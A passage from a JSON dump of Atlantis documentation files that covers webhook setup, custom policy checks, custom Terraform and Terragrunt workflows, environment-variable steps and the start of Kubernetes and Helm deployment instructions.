for `Pull request commented on`\n* **NOTE** If you're adding a webhook to multiple team projects or repositories (using filters), each repository will need to use the **same** basic username and password.\n* Click **Finish**\n\nRepeat the process above until you have webhook subscriptions for the following event types that will trigger on all repositories Atlantis will manage:\n\n* Pull request created (you just added this one)\n* Pull request updated\n* Pull request commented on\n\n* See [Next Steps](#next-steps)\n\n## Next Steps\n\n* To verify that Atlantis is receiving your webhooks, create a test pull request to your repo.\n* You should see the request show up in the Atlantis logs at an `INFO` level.\n* You'll now need to configure Atlantis to add your [Provider Credentials](provider-credentials.md)\n"
  },
  {
    "path": "runatlantis.io/docs/custom-policy-checks.md",
    "content": "# Custom Policy Checks\n\nIf you want to run custom policy tools or scripts instead of the built-in Conftest integration, you can do so by setting the `custom_policy_check` option and running it in a custom workflow.  Note: custom policy tool output is simply parsed for \"fail\" substrings to determine if the policy set passed.\n\nThis option can be configured either at the server-level in a [repos.yaml config file](server-configuration.md) or at the repo-level in an [atlantis.yaml file](repo-level-atlantis-yaml.md).\n\n## Server-side config example\n\nSet the `policy_check` and `custom_policy_check` options to true, and run the custom tool in the policy check steps as seen below.\n\n```yaml\nrepos:\n  - id: /.*/\n    branch: /^main$/\n    apply_requirements: [mergeable, undiverged, approved]\n    policy_check: true\n    custom_policy_check: true\n    workflow: custom\nworkflows:\n  custom:\n    policy_check:\n      steps:\n        - show\n        - run: cnspec scan terraform plan $SHOWFILE --policy-bundle example-cnspec-policies.mql.yaml \npolicies:\n  owners:\n    users:\n      - example_ghuser\n  policy_sets:\n    - name: example-set\n      path: example-cnspec-policies.mql.yaml \n      source: local\n```\n\n## Repo-level atlantis.yaml example\n\nFirst, you will need to ensure `custom_policy_check` is within the `allowed_overrides` field of the server-side config.  Next, just set the custom option to true on the specific project you want as shown in the example `atlantis.yaml` below:\n\n```yaml\nversion: 3\nprojects:\n  - name: example\n    dir: ./example\n    custom_policy_check: true\n    autoplan:\n      when_modified: [\"*.tf\"]\n```\n"
  },
  {
    "path": "runatlantis.io/docs/custom-workflows.md",
    "content": "# Custom Workflows\n\nCustom workflows can be defined to override the default commands that Atlantis\nruns.\n\n## Usage\n\nCustom workflows can be specified in the Server-Side Repo Config or in the Repo-Level\n`atlantis.yaml` files.\n\n**Notes:**\n\n* If you want to allow repos to select their own workflows, they must have the\n`allowed_overrides: [workflow]` setting. See [server-side repo config use cases](server-side-repo-config.md#allow-repos-to-choose-a-server-side-workflow) for more details.\n* If in addition you also want to allow repos to define their own workflows, they must have the\n`allow_custom_workflows: true` setting. See [server-side repo config use cases](server-side-repo-config.md#allow-repos-to-define-their-own-workflows) for more details.\n\n## Use Cases\n\n### .tfvars files\n\n::: tip\nBefore creating custom workflows for `.tfvars` files, consider using Atlantis's automatic `env/{workspace}.tfvars` feature. If you structure your files as `env/staging.tfvars`, `env/production.tfvars`, etc., Atlantis will automatically include them based on the workspace without any configuration. See [Using Atlantis - Automatic Environment Variable Files](using-atlantis.md#automatic-environment-variable-files) for details.\n:::\n\nGiven the structure:\n\n```plain\n.\n└── project1\n    ├── main.tf\n    ├── production.tfvars\n    └── staging.tfvars\n```\n\nIf you wanted Atlantis to automatically run plan with `-var-file staging.tfvars` and `-var-file production.tfvars`\nyou could define two workflows:\n\n```yaml\n# repos.yaml or atlantis.yaml\nworkflows:\n  staging:\n    plan:\n      steps:\n      - init\n      - plan:\n          extra_args: [\"-var-file\", \"staging.tfvars\"]\n    # NOTE: no need to define the apply stage because it will default\n    # to the normal apply stage.\n\n  production:\n    plan:\n      steps:\n      - init\n      - plan:\n          extra_args: [\"-var-file\", \"production.tfvars\"]\n    apply:\n      steps:\n        - apply:\n            extra_args: [\"-var-file\", \"production.tfvars\"]\n    import:\n      steps:\n        - init\n        - import:\n            extra_args: [\"-var-file\", \"production.tfvars\"]\n    state_rm:\n      steps:\n        - init\n        - state_rm:\n            extra_args: [\"-lock=false\"]\n```\n\nThen in your repo-level `atlantis.yaml` file, you would reference the workflows:\n\n```yaml\n# atlantis.yaml\nversion: 3\nprojects:\n# If two or more projects have the same dir and workspace, they must also have\n# a 'name' key to differentiate them.\n- name: project1-staging\n  dir: project1\n  workflow: staging\n- name: project1-production\n  dir: project1\n  workflow: production\n\nworkflows:\n  # If you didn't define the workflows in your server-side repos.yaml config,\n  # you would define them here instead.\n```\n\nWhen you want to apply the plans, you can comment\n\n```shell\natlantis apply -p project1-staging\n```\n\nand\n\n```shell\natlantis apply -p project1-production\n```\n\nWhere `-p` refers to the project name.\n\n### Adding extra arguments to Terraform commands\n\nIf you need to append flags to `terraform plan` or `apply` temporarily, you can\nappend flags on a comment following `--`, for example commenting:\n\n```shell\natlantis plan -- -lock=false\n```\n\nIf you always need to do this for a project's `init`, `plan` or `apply` commands\nthen you must define a custom workflow and set the `extra_args` key for the\ncommand you need to modify.\n\n```yaml\n# atlantis.yaml or repos.yaml\nworkflows:\n  myworkflow:\n    plan:\n      steps:\n      - init:\n          extra_args: [\"-lock=false\"]\n      - plan:\n          extra_args: [\"-lock=false\"]\n    apply:\n      steps:\n      - apply:\n          extra_args: [\"-lock=false\"]\n```\n\nIf [policy checking](policy-checking.md#how-it-works) is enabled, `extra_args` can also be used to change the default behaviour of conftest.\n\n```yaml\nworkflows:\n  myworkflow:\n    policy_check:\n      steps:\n      - show\n      - policy_check:\n          extra_args: [\"--all-namespaces\"]\n```\n\n### Custom init/plan/apply Commands\n\nIf you want to customize `terraform init`, `plan` or `apply` in ways that\naren't supported by `extra_args`, you can completely override those commands.\n\nIn this example, we're not using any of the built-in commands and are instead\nusing our own.\n\n```yaml\n# atlantis.yaml or repos.yaml\nworkflows:\n  myworkflow:\n    plan:\n      steps:\n      # If you want to hide command output from Atlantis's PR comment, use\n      # the output option on the run step's expanded form.\n      - run:\n          command: terraform init -input=false\n          output: hide\n\n      # If you're using workspaces you need to select the workspace using the\n      # $WORKSPACE environment variable.\n      - run: terraform workspace select $WORKSPACE\n\n      # You MUST output the plan using -out $PLANFILE because Atlantis expects\n      # plans to be in a specific location.\n      - run: terraform plan -input=false -refresh -out $PLANFILE\n    apply:\n      steps:\n      # Again, you must use the $PLANFILE environment variable.\n      - run: terraform apply $PLANFILE\n```\n\n### CDKTF\n\nHere are the requirements to enable [CDKTF](https://developer.hashicorp.com/terraform/cdktf)\n\n* A custom image with `CDKTF` installed\n* Add `**/cdk.tf.json` to the list of Atlantis autoplan files.\n* Set the `atlantis-include-git-untracked-files` flag so that the Terraform files dynamically generated\nby CDKTF will be added to the Atlantis modified file list.\n* Use `pre_workflow_hooks` to run `cdktf synth`\n* Optional: There isn't a requirement to use a repo `atlantis.yaml` but one can be leveraged if needed.\n\n#### Custom Image\n\n```dockerfile\n# Dockerfile\nFROM ghcr.io/runatlantis/atlantis:v0.19.7\n\nUSER root\nRUN apk add npm && npm i -g cdktf-cli\n```\n\n#### Server Config\n\n```bash\n# env variables\nATLANTIS_AUTOPLAN_FILE_LIST=\"**/*.tf,**/*.tfvars,**/*.tfvars.json,**/cdk.tf.json\"\nATLANTIS_INCLUDE_GIT_UNTRACKED_FILES=true\n```\n\nOR\n\n`atlantis server --config config.yaml`\n\n```yaml\n# config.yaml\nautoplan-file-list: \"**/*.tf,**/*.tfvars,**/*.tfvars.json,**/cdk.tf.json\"\ninclude-git-untracked-files: true\n```\n\n#### Server Repo Config\n\nUse `pre_workflow_hooks`\n\n`atlantis server --repo-config=\"repos.yaml\"`\n\n```yaml\n# repos.yaml\nrepos:\n  - id: /.*cdktf.*/\n    pre_workflow_hooks:\n      - run: npm i && cdktf get && cdktf synth --output ci-cdktf.out\n```\n\n**Note:** don't use the default `cdktf.out` directory that CDKTF uses, as this should be in the `.gitignore` list of the\nrepo, so that locally generated files are not checked in.\n\n#### Repo Structure\n\nThis is the git repo structure after running `cdktf synth`. The `cdk.tf.json` files contain the Terraform configuration\nthat atlantis can run.\n\n```bash\n$ tree --gitignore\n.\n├── cdktf.json\n├── ci-cdktf.out\n│   ├── manifest.json\n│   └── stacks\n│       └── eks\n│           └── cdk.tf.json\n```\n\n#### Workflow\n\n1. Container orchestrator (k8s/fargate/ecs/etc) uses the custom docker image of atlantis with `cdktf` installed with\nthe `--autoplan-file-list` to trigger on `cdk.tf.json` files and `--include-git-untracked-files` set to include the\nCDKTF dynamically generated Terraform files in the Atlantis plan.\n1. PR branch is pushed up containing `cdktf` code changes.\n1. Atlantis checks out the branch in the repo.\n1. Atlantis runs the `npm i && cdktf get && cdktf synth` command in the repo root as a step in `pre_workflow_hooks`,\ngenerating the `cdk.tf.json` Terraform files.\n1. Atlantis detects the `cdk.tf.json` untracked files in a number of directories.\n1. Atlantis then runs `terraform` workflows in the respective directories as usual.\n\n### Terragrunt\n\nAtlantis supports running custom commands in place of the default Atlantis\ncommands. We can use this functionality to enable\n[Terragrunt](https://github.com/gruntwork-io/terragrunt).\n\nYou can either use your repo's `atlantis.yaml` file or the Atlantis server's `repos.yaml` file.\n\nGiven a directory structure:\n\n```plain\n.\n└── live\n    ├── prod\n    │   └── terragrunt.hcl\n    └── staging\n        └── terragrunt.hcl\n```\n\nIf using the server `repos.yaml` file, you would use the following config:\n\n```yaml\n# repos.yaml\n# Specify TERRAGRUNT_TFPATH environment variable to accommodate setting --default-tf-version\n# Generate json plan via terragrunt for policy checks\nrepos:\n- id: \"/.*/\"\n  workflow: terragrunt\nworkflows:\n  terragrunt:\n    plan:\n      steps:\n      - env:\n          name: TERRAGRUNT_TFPATH\n          command: 'echo \"terraform${ATLANTIS_TERRAFORM_VERSION}\"'\n      - env:\n          # Reduce Terraform suggestion output\n          name: TF_IN_AUTOMATION\n          value: 'true'\n      - run:\n          # Allow for targeted plans/applies as not supported for Terraform wrappers by default\n          command: terragrunt plan -input=false $(printf '%s' $COMMENT_ARGS | sed 's/,/ /g' | tr -d '\\\\') -no-color -out $PLANFILE\n          output: hide\n      - run: |\n          terragrunt show $PLANFILE\n    apply:\n      steps:\n      - env:\n          name: TERRAGRUNT_TFPATH\n          command: 'echo \"terraform${ATLANTIS_TERRAFORM_VERSION}\"'\n      - env:\n          # Reduce Terraform suggestion output\n          name: TF_IN_AUTOMATION\n          value: 'true'\n      - run: terragrunt apply -input=false $PLANFILE\n    import:\n      steps:\n      - env:\n          name: TERRAGRUNT_TFPATH\n          command: 'echo \"terraform${DEFAULT_TERRAFORM_VERSION}\"'\n      - env:\n          name: TF_VAR_author\n          command: 'git show -s --format=\"%ae\" $HEAD_COMMIT'\n      # Allow for imports as not supported for Terraform wrappers by default\n      - run: terragrunt import -input=false $(printf '%s' $COMMENT_ARGS | sed 's/,/ /' | tr -d '\\\\')\n    state_rm:\n      steps:\n      - env:\n          name: TERRAGRUNT_TFPATH\n          command: 'echo \"terraform${DEFAULT_TERRAFORM_VERSION}\"'\n      # Allow for state removals as not supported for Terraform wrappers by default\n      - run: terragrunt state rm $(printf '%s' $COMMENT_ARGS | sed 's/,/ /' | tr -d '\\\\')\n```\n\nIf using the repo's `atlantis.yaml` file you would use the following config:\n\n```yaml\nversion: 3\nprojects:\n- dir: live/staging\n  workflow: terragrunt\n- dir: live/prod\n  workflow: terragrunt\nworkflows:\n  terragrunt:\n    plan:\n      steps:\n      - env:\n          name: TERRAGRUNT_TFPATH\n          command: 'echo \"terraform${ATLANTIS_TERRAFORM_VERSION}\"'\n      - env:\n          # Reduce Terraform suggestion output\n          name: TF_IN_AUTOMATION\n          value: 'true'\n      - run:\n          command: terragrunt plan -input=false -out=$PLANFILE\n          output: strip_refreshing\n    apply:\n      steps:\n      - env:\n          name: TERRAGRUNT_TFPATH\n          command: 'echo \"terraform${ATLANTIS_TERRAFORM_VERSION}\"'\n      - env:\n          # Reduce Terraform suggestion output\n          name: TF_IN_AUTOMATION\n          value: 'true'\n      - run: terragrunt apply $PLANFILE\n```\n\n**NOTE:** If using the repo's `atlantis.yaml` file, you will need to specify each directory that is a Terragrunt project.\n\n::: warning\nAtlantis will need to have the `terragrunt` binary in its PATH.\nIf you're using Docker you can build your own image, see [Customization](deployment.md#customization).\n:::\n\nIf you don't want to create/manage the repo's `atlantis.yaml` file yourself, you can use the tool [terragrunt-atlantis-config](https://github.com/transcend-io/terragrunt-atlantis-config) to generate it.\n\nThe `terragrunt-atlantis-config` tool is a community project and not maintained by the Atlantis team.\n\n### Running custom commands\n\nAtlantis supports running completely custom commands. In this example, we want to run\na script after every `apply`:\n\n```yaml\n# repos.yaml or atlantis.yaml\nworkflows:\n  myworkflow:\n    apply:\n      steps:\n      - apply\n      - run: ./my-custom-script.sh\n```\n\n::: tip Notes\n\n* We don't need to write a `plan` key under `myworkflow`. If `plan`\nisn't set, Atlantis will use the default plan workflow which is what we want in this case.\n* A custom command will only terminate if all output file descriptors are closed.\nTherefore a custom command can only be sent to the background (e.g. for an SSH tunnel during\nthe terraform run) when its output is redirected to a different location. For example, Atlantis\nwill execute a custom script containing the following code to create an SSH tunnel correctly:\n`ssh -f -M -S /tmp/ssh_tunnel -L 3306:database:3306 -N bastion 1>/dev/null 2>&1`. Without\nthe redirect, the script would block the Atlantis workflow.\n:::\n\n### Custom Backend Config\n\nIf you need to specify the `-backend-config` flag to `terraform init` you'll need to use a custom workflow.\nIn this example, we're using custom backend files to configure two remote states, one for each environment.\nWe're then using `.tfvars` files to load different variables for each environment.\n\n```yaml\n# repos.yaml or atlantis.yaml\nworkflows:\n  staging:\n    plan:\n      steps:\n      - run: rm -rf .terraform\n      - init:\n          extra_args: [-backend-config=staging.backend.tfvars]\n      - plan:\n          extra_args: [-var-file=staging.tfvars]\n  production:\n    plan:\n      steps:\n      - run: rm -rf .terraform\n      - init:\n          extra_args: [-backend-config=production.backend.tfvars]\n      - plan:\n          extra_args: [-var-file=production.tfvars]\n```\n\n::: warning NOTE\nWe have to use a custom `run` step to `rm -rf .terraform` because otherwise Terraform\nwill complain in-between commands since the backend config has changed.\n:::\n\nYou would then reference the workflows in your repo-level `atlantis.yaml`:\n\n```yaml\nversion: 3\nprojects:\n- name: staging\n  dir: .\n  workflow: staging\n- name: production\n  dir: .\n  workflow: production\n```\n\n### Add directory and repo context for aws resources using default tags\n\nThis is only available in AWS provider version [5.62.0](https://github.com/hashicorp/terraform-provider-aws/releases/tag/v5.62.0) and higher.\n\nThis configuration will create the following tags\n\n* `repository` equal to `github.com/<owner>/<repo>` which can be changed for gitlab or other VCS\n* `repository_dir` equal to the relative directory\n\nOther default variables can be added such as for workspace. See below for more available environment variables.\n\n```yaml\nworkflows:\n  terraform:\n    plan:\n      steps:\n        # These env vars TF_AWS_DEFAULT_TAGS_ will work for aws provider 5.62.0+\n        # https://github.com/hashicorp/terraform-provider-aws/releases/tag/v5.62.0\n        - &env_default_tags_repository\n          env:\n            name: TF_AWS_DEFAULT_TAGS_repository\n            command: 'echo \"github.com/${BASE_REPO_OWNER}/${BASE_REPO_NAME}\"'\n        - &env_default_tags_repository_dir\n          env:\n            name: TF_AWS_DEFAULT_TAGS_repository_dir\n            command: 'echo \"${REPO_REL_DIR}\"'\n    apply:\n      steps:\n        - *env_default_tags_repository\n        - *env_default_tags_repository_dir\n```\n\nNOTE:\n\n* Appending tags to every resource may regenerate data sources such as `aws_iam_policy_document` which will cause many resources to be modified. See known issue in aws provider [#29421](https://github.com/hashicorp/terraform-provider-aws/issues/29421).\n\n* To run a local plan outside of terraform, the same environment variables will need to be created.\n\n    ```bash\n    tfvars () {\n      export terraform_repository=$(git config --get remote.origin.url | sed 's,^git@,,g' | tr ':' '/' | sed 's,.git$,,g')\n      export terraform_repository_dir=$(git rev-parse --show-prefix | sed 's,\\/$,,g')\n    }\n    export TF_AWS_DEFAULT_TAGS_repository=$terraform_repository\n    export TF_AWS_DEFAULT_TAGS_repository_dir=$terraform_repository_dir\n    tfvars\n    terraform plan\n    ```\n\n    If a colon is used in the tag name, use the `env` command instead of `export`.\n\n    ```bash\n    tfvars\n    env \\\n      TF_AWS_DEFAULT_TAGS_org:repository=$terraform_repository \\\n      TF_AWS_DEFAULT_TAGS_org:repository_dir=$terraform_repository_dir \\\n      terraform plan\n    ```\n\n## Reference\n\n### Workflow\n\n```yaml\nplan:\napply:\nimport:\nstate_rm:\n```\n\n| Key      | Type            | Default                   | Required | Description                           |\n|----------|-----------------|---------------------------|----------|---------------------------------------|\n| plan     | [Stage](#stage) | `steps: [init, plan]`     | no       | How to plan for this project.         |\n| apply    | [Stage](#stage) | `steps: [apply]`          | no       | How to apply for this project.        |\n| import   | [Stage](#stage) | `steps: [init, import]`   | no       | How to import for this project.       |\n| state_rm | [Stage](#stage) | `steps: [init, state_rm]` | no       | How to run state rm for this project. |\n\n### Stage\n\n```yaml\nsteps:\n- run: custom-command\n- init\n- plan:\n    extra_args: [-lock=false]\n```\n\n| Key   | Type                 | Default | Required | Description                                                                                   |\n|-------|----------------------|---------|----------|-----------------------------------------------------------------------------------------------|\n| steps | array[[Step](#step)] | `[]`    | no       | List of steps for this stage. If the steps key is empty, no steps will be run for this stage. |\n\n### Step\n\n#### Built-In Commands\n\nSteps can be a single string for a built-in command.\n\n```yaml\n- init\n- plan\n- apply\n- import\n- state_rm\n```\n\n| Key                             | Type   | Default | Required | Description                                                                                                                  |\n|---------------------------------|--------|---------|----------|------------------------------------------------------------------------------------------------------------------------------|\n| init/plan/apply/import/state_rm | string | none    | no       | Use a built-in command without additional configuration. Only `init`, `plan`, `apply`, `import` and `state_rm` are supported |\n\n#### Built-In Command With Extra Args\n\nA map from string to `extra_args` for a built-in command with extra arguments.\n\n```yaml\n- init:\n    extra_args: [arg1, arg2]\n- plan:\n    extra_args: [arg1, arg2]\n- apply:\n    extra_args: [arg1, arg2]\n- import:\n    extra_args: [arg1, arg2]\n- state_rm:\n    extra_args: [arg1, arg2]\n```\n\n| Key                             | Type                               | Default | Required | Description                                                                                                                                                               |\n|---------------------------------|------------------------------------|---------|----------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| init/plan/apply/import/state_rm | map\\[`extra_args` -> array\\[string\\]\\] | none    | no       | Use a built-in command and append `extra_args`. Only `init`, `plan`, `apply`, `import` and `state_rm` are supported as keys and only `extra_args` is supported as a value |\n\n#### Custom `run` Command\n\nA custom command can be written in 2 ways\n\nCompact:\n\n```yaml\n- run: custom-command arg1 arg2\n```\n\n| Key | Type   | Default | Required | Description          |\n|-----|--------|---------|----------|----------------------|\n| run | string | none    | no       | Run a custom command |\n\nFull example:\n\n```yaml\n- run:\n    command: custom-command arg1 arg2\n    shell: sh\n    shellArgs:\n     - \"--debug\"\n     - \"-c\"\n    output: show\n```\n\nFull example, filtering output and masking matching text (`mySecret: \"foo\"` -> `mySecret: \"<redacted>\"`):\n\n```yaml\n- run:\n    command: custom-command arg1 arg2\n    shell: sh\n    shellArgs:\n     - \"--debug\"\n     - \"-c\"\n    output:\n      - strip_refreshing\n      - filter_regex: \"((?i)secret:\\\\s\\\")[^\\\"]*\"\n```\n\n| Key | Type | Default | Required | Description |\n|-----|-----|-----|-----|-----|\n| run | map\\[string -> string\\] | none | no | Run a custom command |\n| run.command | string | none | yes | Shell command to run |\n| run.shell | string | \"sh\" | no | Name of the shell to use for command execution |\n| run.shellArgs | string or []string | \"-c\" | no | Command line arguments to be passed to the shell. Cannot be set without `shell` |\n| run.output | string or []string or []any | \"show\" | no | How to post-process the output of this command when posted in the PR comment. The options are:<br/>*`show` - preserve the full output<br/>* `hide` - hide output from comment (still visible in the real-time streaming output)<br/> `strip_refreshing` - hide all output up until and including the last line containing \"Refreshing...\". This matches the behavior of the built-in `plan` command <br/> `filter_regex: \"<regex_pattern>\"` - masks sensitive text in Atlantis comments by replacing regex matches with &lt;redacted&gt;. Can be used multiple times (processed in order). Only filters inline comments - full plan links still show unfiltered results. |\n\n#### Native Environment Variables\n\n* `run` steps in the main `workflow` are executed with the following environment variables:\n  note: these variables are not available to `pre` or `post` workflows\n  * `WORKSPACE` - The Terraform workspace used for this project, ex. `default`.\n      NOTE: if the step is executed before `init` then Atlantis won't have switched to this workspace yet.\n  * `ATLANTIS_TERRAFORM_VERSION` - The version of Terraform used for this project, ex. `0.11.0`.\n  * `DIR` - Absolute path to the current directory.\n  * `PLANFILE` - Absolute path to the location where Atlantis expects the plan to\n      either be generated (by plan) or already exist (if running apply). Can be used to\n      override the built-in `plan`/`apply` commands, ex. `run: terraform plan -out $PLANFILE`.\n  * `SHOWFILE` - Absolute path to the location where Atlantis expects the plan in json format to\n      either be generated (by show) or already exist (if running policy checks). Can be used to\n      override the built-in `plan`/`apply` commands, ex. `run: terraform show -json $PLANFILE > $SHOWFILE`.\n  * `POLICYCHECKFILE` - Absolute path to the location of policy check output if Atlantis runs policy checks.\n      See [policy checking](policy-checking.md#data-for-custom-run-steps) for information of data structure.\n  * `BASE_REPO_NAME` - Name of the repository that the pull request will be merged into, ex. `atlantis`.\n  * `BASE_REPO_OWNER` - Owner of the repository that the pull request will be merged into, ex. `runatlantis`.\n  * `HEAD_REPO_NAME` - Name of the repository that is getting merged into the base repository, ex. `atlantis`.\n  * `HEAD_REPO_OWNER` - Owner of the repository that is getting merged into the base repository, ex. `acme-corp`.\n  * `HEAD_BRANCH_NAME` - Name of the head branch of the pull request (the branch that is getting merged into the base)\n  * `HEAD_COMMIT` - The sha256 that points to the head of the branch that is being pull requested into the base. If the pull request is from Bitbucket Cloud the string will only be 12 characters long because Bitbucket Cloud truncates its commit IDs.\n  * `BASE_BRANCH_NAME` - Name of the base branch of the pull request (the branch that the pull request is getting merged into)\n  * `PROJECT_NAME` - Name of the project configured in `atlantis.yaml`. If no project name is configured this will be an empty string.\n  * `PULL_NUM` - Pull request number or ID, ex. `2`.\n  * `PULL_URL` - Pull request URL, ex. `https://github.com/runatlantis/atlantis/pull/2`.\n  * `PULL_AUTHOR` - Username of the pull request author, ex. `acme-user`.\n  * `REPO_REL_DIR` - The relative path of the project in the repository. For example if your project is in `dir1/dir2/` then this will be set to `\"dir1/dir2\"`. If your project is at the root this will be `\".\"`.\n  * `USER_NAME` - Username of the VCS user running command, ex. `acme-user`. During an autoplan, the user will be the Atlantis API user, ex. `atlantis`.\n  * `COMMENT_ARGS` - Any additional flags passed in the comment on the pull request. Flags are separated by commas and\n      every character is escaped, ex. `atlantis plan -- arg1 arg2` will result in `COMMENT_ARGS=\\a\\r\\g\\1,\\a\\r\\g\\2`.\n  * `ATLANTIS_PR_APPROVED` - \"true\" if the PR is approved\n  * `ATLANTIS_PR_MERGEABLE` - \"true\" if the PR is mergeable\n\n* A custom command will only terminate if all output file descriptors are closed.\nTherefore a custom command can only be sent to the background (e.g. for an SSH tunnel during\nthe terraform run) when its output is redirected to a different location. For example, Atlantis\nwill execute a custom script containing the following code to create an SSH tunnel correctly:\n`ssh -f -M -S /tmp/ssh_tunnel -L 3306:database:3306 -N bastion 1>/dev/null 2>&1`. Without\nthe redirect, the script would block the Atlantis workflow.\n* If a workflow step returns a non-zero exit code, the workflow will stop.\n:::\n\n#### Environment Variable `env` Command\n\nThe `env` command allows you to set environment variables that will be available\nto all steps defined **below** the `env` step.\n\nYou can set hard coded values via the `value` key, or set dynamic values via\nthe `command` key which allows you to run any command and uses the output\nas the environment variable value.\n\n```yaml\n- env:\n    name: ENV_NAME\n    value: hard-coded-value\n- env:\n    name: ENV_NAME_2\n    command: 'echo \"dynamic-value-$(date)\"'\n- env:\n    name: ENV_NAME_3\n    command: echo ${DIR%$REPO_REL_DIR}\n    shell: bash\n    shellArgs:\n      - \"--verbose\"\n      - \"-c\"\n```\n\n| Key             | Type                  | Default | Required | Description                                                                                                     |\n|-----------------|-----------------------|---------|----------|-----------------------------------------------------------------------------------------------------------------|\n| env | map\\[string -> string\\] | none    | no       | Set environment variables for subsequent steps                                                                  |\n| env.name | string | none | yes | Name of the environment variable                                                                                |\n| env.value | string | none | no | Set the value of the environment variable to a hard-coded string. Cannot be set at the same time as `command`   |\n| env.command | string | none | no | Set the value of the environment variable to the output of a command. Cannot be set at the same time as `value` |\n| env.shell | string | \"sh\" | no | Name of the shell to use for command execution. Cannot be set without `command` |\n| env.shellArgs | string or []string | \"-c\" | no | Command line arguments to be passed to the shell. Cannot be set without `shell` |\n\n::: tip Notes\n\n* `env` `command`'s can use any of the built-in environment variables available\n  to `run` commands.\n:::\n\n#### Multiple Environment Variables `multienv` Command\n\nThe `multienv` command allows you to set dynamic number of multiple environment variables that will be available\nto all steps defined **below** the `multienv` step.\n\nCompact:\n\n```yaml\n- multienv: custom-command\n```\n\n| Key      | Type   | Default | Required | Description                                                |\n|----------|--------|---------|----------|------------------------------------------------------------|\n| multienv | string | none    | no       | Run a custom command and add printed environment variables |\n\nFull:\n\n```yaml\n- multienv:\n    command: custom-command\n    shell: bash\n    shellArgs:\n      - \"--verbose\"\n      - \"-c\"\n    output: show\n```\n\n| Key                | Type                  | Default | Required | Description                                                                         |\n|--------------------|-----------------------|---------|----------|-------------------------------------------------------------------------------------|\n| multienv           | map[string -> string] | none    | no       | Run a custom command and add printed environment variables                          |\n| multienv.command   | string                | none    | yes      | Name of the custom script to run                                                    |\n| multienv.shell     | string                | \"sh\"    | no       | Name of the shell to use for command execution                                      |\n| multienv.shellArgs | string or []string    | \"-c\"    | no       | Command line arguments to be passed to the shell. Cannot be set without `shell`     |\n| multienv.output    | string                | \"show\"  | no       | Setting output to \"hide\" will suppress the message about added environment variables |\n\nThe output of the command execution must have the following format:\n`EnvVar1Name=value1,EnvVar2Name=value2,EnvVar3Name=value3`\n\nThe name-value pairs in the output are added as environment variables if command execution is successful, otherwise the workflow execution is interrupted with an error and the errorMessage is returned.\n\n::: tip Notes\n\n* `multienv` `command`'s can use any of the built-in environment variables available\n  to `run` commands.\n:::\n"
  },
  {
    "path": "runatlantis.io/docs/deployment.md",
    "content": "# Deployment\n\nThis page covers getting Atlantis up and running in your infrastructure.\n\n::: tip Prerequisites\n\n* You have created [access credentials](access-credentials.md) for your Atlantis user\n* You have created a [webhook secret](webhook-secrets.md)\n:::\n\n## Architecture Overview\n\n### Runtime\n\nAtlantis is a simple [Go](https://golang.org/) app. It receives webhooks from\nyour Git host and executes Terraform commands locally. There is an official\nAtlantis [Docker image](https://ghcr.io/runatlantis/atlantis).\n\n### Routing\n\nAtlantis and your Git host need to be able to route and communicate with one another. Your Git host needs to be able to send webhooks to Atlantis and Atlantis needs to be able to make API calls to your Git host.\nIf you're using\na public Git host like github.com, gitlab.com, gitea.com, bitbucket.org, or dev.azure.com then you'll need to\nexpose Atlantis to the internet.\n\nIf you're using a private Git host like GitHub Enterprise, GitLab Enterprise, self-hosted Gitea or\nBitbucket Server, then Atlantis needs to be routable from the private host and Atlantis will need to be able to route to the private host.\n\n### Data\n\nAtlantis has no external database. Atlantis stores Terraform plan files on disk.\nIf Atlantis loses that data in between a `plan` and `apply` cycle, then users will have\nto re-run `plan`. Because of this, you may want to provision a persistent disk\nfor Atlantis.\n\n## Deployment\n\nPick your deployment type:\n\n* [Kubernetes Helm Chart](#kubernetes-helm-chart)\n* [Kubernetes Manifests](#kubernetes-manifests)\n* [Kubernetes Kustomize](#kubernetes-kustomize)\n* [OpenShift](#openshift)\n* [AWS Fargate](#aws-fargate)\n* [Google Kubernetes Engine (GKE)](#google-kubernetes-engine-gke)\n* [Docker](#docker)\n* [Roll Your Own](#roll-your-own)\n\n### Kubernetes Helm Chart\n\nAtlantis has an [official Helm chart](https://github.com/runatlantis/helm-charts/tree/main/charts/atlantis)\n\nTo install:\n\n1. Add the runatlantis helm chart repository to helm\n\n    ```bash\n    helm repo add runatlantis https://runatlantis.github.io/helm-charts\n    ```\n\n1. `cd` into a directory where you're going to configure your Atlantis Helm chart\n1. Create a `values.yaml` file by running\n\n    ```bash\n    helm inspect values runatlantis/atlantis > values.yaml\n    ```\n\n1. Edit `values.yaml` and add your access credentials and webhook secret\n\n    ```yaml\n    # for example\n    github:\n      user: foo\n      token: bar\n      secret: baz\n    ```\n\n1. Edit `values.yaml` and set your `orgAllowlist` (see [Repo Allowlist](server-configuration.md#repo-allowlist) for more information)\n\n    ```yaml\n    orgAllowlist: github.com/runatlantis/*\n    ```\n\n    **Note**: For helm chart version < `4.0.2`, `orgWhitelist` must be used instead.\n1. Configure any other variables (see [Atlantis Helm Chart: Customization](https://github.com/runatlantis/helm-charts#customization)\n    for documentation)\n1. Run\n\n    ```sh\n    helm install atlantis runatlantis/atlantis -f values.yaml\n    ```\n\n    If you are using helm v2, run:\n\n    ```sh\n    helm install -f values.yaml runatlantis/atlantis\n    ```\n\nAtlantis should be up and running in minutes! See [Next Steps](#next-steps) for\nwhat to do next.\n\n### Kubernetes Manifests\n\nIf you'd like to use a raw Kubernetes manifest, we offer either a\n[Deployment](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/)\nor a [Statefulset](https://kubernetes.io/docs/concepts/workloads/controllers/statefulset/) with persistent storage.\n\nStatefulSet is recommended because Atlantis stores its data on disk and so if your Pod dies\nor you upgrade Atlantis, you won't lose plans that haven't been applied. If\nyou do lose that data, you just need to run `atlantis plan` again so it's not the end of the world.\n\nRegardless of whether you choose a Deployment or StatefulSet, first create a Secret with the webhook secret and access token:\n\n```bash\necho -n \"yourtoken\" > token\necho -n \"yoursecret\" > webhook-secret\nkubectl create secret generic atlantis-vcs --from-file=token --from-file=webhook-secret\n```\n\nNext, edit the manifests below as follows:\n\n1. Replace `<VERSION>` in `image: ghcr.io/runatlantis/atlantis:<VERSION>` with the most recent version from [GitHub: Atlantis latest release](https://github.com/runatlantis/atlantis/releases/latest).\n    * NOTE: You never want to run with `:latest` because if your Pod moves to a new node, Kubernetes will pull the latest image and you might end\nup upgrading Atlantis by accident!\n2. Replace `value: github.com/yourorg/*` under `name: ATLANTIS_REPO_ALLOWLIST` with the allowlist pattern\nfor your Terraform repos. See 